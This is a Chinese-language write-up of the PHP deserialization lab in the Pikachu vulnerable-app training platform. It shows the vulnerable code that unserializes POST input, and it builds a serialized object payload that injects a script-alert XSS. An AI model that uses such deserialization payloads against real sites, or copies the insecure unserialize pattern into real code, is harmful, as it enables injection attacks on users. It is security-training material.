pikachu_php反序列化
源代码
class S{
var $test = "pikachu";
function __construct(){
echo $this->test;
}
}
//O:1:"S":1:{s:4:"test";s:29:"<script>alert('xss')</script>";}
$html='';
if(isset($_POST['o'])){
$s = $_POST['o'];
if(!@$unser = unserialize($s)){
$html.="<p>大兄弟,来点劲爆点儿的!</p>";
}else{
$html.="<p>{$unser->test}</p>";
}
}
源码可见,需要执行到test,那么就需要执行construct函数,该魔法函数创建对象时就会被执行,执行到else分支之后输入值的反序列化就会当做值给test调用
过程
尝试写一个xss攻击,将xss攻击序列化提交
<?php
class Test{
public $a="<script>alert(/order/)</script>";
}
$a=new Test();
var_dump(serialize($a));
?>
查看结果
发现xss标签部分被执行了,然后没有了
因此需要在序列化的时候替换掉xss攻击代码中的一部分,让其无法执行,生成后再替换回来即可
此处将括号换成x,并且构造成源码一样的参数名
<?php
class S{
var $test = "xscript>alert(/order/)x/script>";
}
$s=new S();
print_r(serialize($s));
?>
得到结果然后修改尖括号
O:1:"S":1:{s:4:"test";s:31:"xscript>alert(/order/)x/script>";}
O:1:"S":1:{s:4:"test";s:31:"<script>alert(/order/)</script>";}
拿去执行,成功执行xss